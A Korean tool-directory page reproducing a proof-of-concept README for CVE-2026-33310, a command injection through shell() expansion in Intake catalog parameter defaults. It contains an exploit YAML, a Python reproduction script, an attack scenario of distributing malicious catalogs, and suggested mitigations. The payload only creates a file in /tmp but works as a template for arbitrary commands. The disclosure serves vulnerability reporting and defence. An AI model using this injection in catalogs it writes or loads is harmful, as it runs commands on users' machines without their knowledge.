Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33310 — 개념 증명(PoC)으로, Intake 카탈로그의 매개변수 기본값에서 shell() 확장을 통한 명령 주입을 시연하며, 익스플로잇 YAML과 재현 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/redyank/cve-2026-33310
Payload GenerationVulnerability AnalysisExploitationWeb SecurityCommand and Control
GitHubredyank/cve-2026-33310

CVE-2026-33310

개념 증명(PoC)으로, Intake 카탈로그의 매개변수 기본값에서 shell() 확장을 통한 명령 주입을 시연하며, 익스플로잇 YAML과 재현 스크립트를 포함합니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33310

CVE-2026-33310(매개변수 기본값의 shell() 확장을 통한 명령 주입)

요약

매개변수 기본값 내의 shell() 구문은 카탈로그 파싱 과정에서 자동으로 확장되는 것으로 보입니다. 카탈로그에 shell()와 같은 매개변수 기본값이 포함된 경우, 카탈로그 소스에 접근할 때 해당 명령이 실행될 수 있습니다. 즉, 사용자가 악성 카탈로그 YAML을 로드하면 포함된 명령이 호스트 시스템에서 실행될 수 있습니다. 이 동작은 잠재적으로 CWE-78: OS 명령 주입 / 안전하지 않은 셸 확장으로 분류될 수 있습니다.

세부 사항

이 문제는 카탈로그 소스에 접근할 때 매개변수 기본값이 확장되는 방식에서 발생하는 것으로 보입니다.

카탈로그 로딩 및 소스 접근 중:

Intake는 매개변수 기본값을 해석합니다 기본값 확장을 담당하는 함수는 shell() 구문을 처리합니다 shell 표현식은 하위 프로세스 실행을 트리거합니다 이 작업은 카탈로그 평가 중에 발생하므로, 사용자가 데이터셋 자체와 명시적으로 상호작용하기 전에 명령이 실행될 수 있습니다.

영향을 받는 로직은 다음을 포함하는 것으로 보입니다:

root@kitploit:~
expand_defaults()

및 관련 매개변수 파싱 메커니즘.

PoC

exploit.yaml

root@kitploit:~
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"

reproduce.py

root@kitploit:~
import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")

공격 시나리오

잠재적인 공격 시나리오는 다음과 같을 수 있습니다:

  1. 공격자가 악성 Intake 카탈로그 YAML 파일을 게시합니다
  2. 피해자가 카탈로그를 다운로드하거나 로드합니다
  3. 피해자가 카탈로그의 소스 항목에 접근합니다
  4. 매개변수 기본값이 확장됩니다
  5. shell() 표현식이 포함된 명령의 실행을 트리거합니다

영향

이 동작이 의도되지 않은 것으로 확인되면, 공격자는 다음을 통해 악성 카탈로그 파일을 배포할 수 있습니다:

  • Git 저장소
  • 공유 데이터셋
  • URL
  • 데이터 과학 워크플로우
  • 카탈로그를 로드하는 모든 사용자는 자신의 로컬 사용자 권한으로 명령을 실행하게 될 수 있습니다.

권장 사항

가능한 완화 조치는 다음과 같을 수 있습니다:

  • 기본적으로 shell() 확장 비활성화
  • 명시적 옵트인 플래그 요구 (예: allow_shell=True)
  • 신뢰할 수 없는 소스에서 로드된 카탈로그에 대한 셸 실행 제한 추가 정보나 테스트가 필요하시면 알려주시기 바랍니다. 추가 분석이나 검증에 기꺼이 도움을 드리겠습니다.
도구 다운로드